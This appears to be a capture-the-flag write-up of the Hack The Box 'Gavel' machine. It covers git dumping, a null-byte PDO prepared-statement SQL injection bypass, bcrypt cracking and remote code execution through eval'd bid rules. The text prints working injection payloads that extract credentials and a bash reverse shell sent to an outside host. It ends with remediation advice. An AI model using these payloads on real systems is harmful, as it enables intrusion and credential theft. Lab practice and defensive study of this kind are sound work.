Gavel HTB β From PDO SQL Injection to RCE
π Gavel HTB β PDO SQL Injection to RCE
1οΈβ£ Initial Enumeration
Starting with an Nmap scan against the target:
1
nmap -sV 10.129.242.203
Results showed only two open ports:
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
β οΈ Only SSH and HTTP β this is clearly a web-based machine.
Browsing to the web app revealed a standard landing page with Login and Signup options.
After registering and logging in, the interface changed β confirming user session handling is in place.
Directory fuzzing returned many paths, but none were directly useful at this stage.
2οΈβ£ Dumping the Git Repository
Noticing exposed Git metadata on the web server, I used git-dumper to pull the full source code:
1
git-dumper http://gavel.htb dump
With the source in hand, I ran Snyk to perform a static vulnerability scan:
The scan flagged several potential SQL injection points in the PHP code using PDO prepared statements.
3οΈβ£ Exploiting PDO Prepared Statements β Novel SQL Injection
After research, I found a novel SQL injection technique targeting PDOβs prepared statement parser. The key insight is how PDO handles backtick identifiers with null bytes.
Reference: Novel SQL Injection Technique in PDO Prepared Statements
How the Vulnerability Works
Consider this query:
1
SELECT `\?-- -\0` FROM inventory WHERE user_id = ?
PDOβs internal parsing logic:
1
2
3
4
5
6
7
8
9
10
PDO: sees ` β start of backtick identifier, keep reading...
PDO: sees \ β normal character, keep reading...
PDO: sees ? β still inside backtick, keep reading...
PDO: sees -- β still inside backtick, keep reading...
PDO: sees \0 (NULL BYTE) β PANIC!
PDO: Backtrack β pretend backtick never opened!
PDO: Re-reads: sees \ β skip
PDO: sees ? β THIS IS A PLACEHOLDER! Mark it!
PDO: sees -- β this is a comment, stop reading!
PDO: RESULT: found 1 placeholder before the comment
PDO then replaces the placeholder with our user-supplied value after escaping single quotes (' β \').
This means we can inject SQL after a backtick-terminated subquery alias, bypassing prepared statement protections.
4οΈβ£ Confirming the Injection
Switching the request method to POST and testing with:
1
sort=\?--+-%00&user_id=x` FROM (SELECT version() AS `'x`)s;
β The MySQL version was returned β SQL injection confirmed.
5οΈβ£ Enumerating the Database
Listing Columns in the users Table
1
sort=\?--+-%00&user_id=x` FROM (SELECT group_concat(column_name) AS `'x` FROM information_schema.columns WHERE table_name=0x7573657273)s;
Extracting Credentials
Dumping the first userβs credentials:
1
sort=\?--+-%00&user_id=x` FROM (SELECT concat(username,0x3a,password) AS `'x` FROM users LIMIT 1)s;
Dumping all users:
1
sort=\?--+-%00&user_id=x` FROM (SELECT group_concat(username,0x3a,password) AS `'x` FROM users)s;
Extracted hash:
1
auctioneer:$2y$10$MNkDHV6g16FjW/1AQRpLiuQXN4MVkdMuILn0pLQ1C2So9SgH5RTfS
6οΈβ£ Cracking the Hash
The hash is bcrypt ($2y$), so we use Hashcat mode 3200:
1
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
1
auctioneer:midnight1
SSH login with these credentials failed. However, logging into the web application as auctioneer succeeded and revealed an Admin Panel.
7οΈβ£ Code Execution via Bid Rule Injection
Reviewing the dumped repository, I found a rules.yaml file defining bidding validation logic:
1
2
3
4
5
6
7
8
9
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered."
These rules are evaluated server-side as PHP code. As an admin, I could edit them.
Exploitation Steps
1. Set up a listener:
1
nc -lvnp 9001
2. Edit a bid rule with a PHP reverse shell payload:
1
system('bash -c "bash -i >& /dev/tcp/10.10.16.216/9001 0>&1"'); return true;
3. Trigger the rule by placing a bid on any active auction item.
BINGO β shell received!
π― Impact
This attack chain demonstrates a full compromise via:
- Source code exposure through an exposed
.gitdirectory - Novel PDO SQL Injection bypassing prepared statement protections
- Credential extraction and hash cracking
- Server-Side Code Execution via unsafe
eval-style rule evaluation
This is a Critical Severity exploit chain.
π‘οΈ Root Cause
1. Exposed .git Directory
The web server served .git/ metadata publicly, allowing full source code recovery.
2. PDO SQL Injection
The application used PDO prepared statements incorrectly β user input was embedded in a way that allowed the null-byte backtick trick to bypass placeholder counting, enabling raw SQL injection.
3. Unsafe Rule Evaluation
The bid rule system executed admin-supplied strings as PHP code using eval() or equivalent, with no sandboxing or sanitization.
β Recommendations
1οΈβ£ Disable .git Directory Access
Block access via web server config:
1
2
3
location ~ /\.git {
deny all;
}
2οΈβ£ Fix PDO Query Construction
Avoid placing user-controlled data in any part of the query structure β including column names and sort parameters. Use an allowlist for sortable fields.
3οΈβ£ Never Evaluate User-Supplied Code
Replace the dynamic rule evaluation system with a safe expression evaluator or a fixed set of configurable parameters. Never call eval() on any user or admin-supplied input.
4οΈβ£ Enforce Least Privilege
The web applicationβs database user should not have access to information_schema. Restrict permissions to only the tables the app needs.
5οΈβ£ Monitoring & Detection
- Log and alert on unusual
sortparameter values. - Monitor for null bytes (
\0) in request parameters. - Alert on outbound connections from the web server process.
















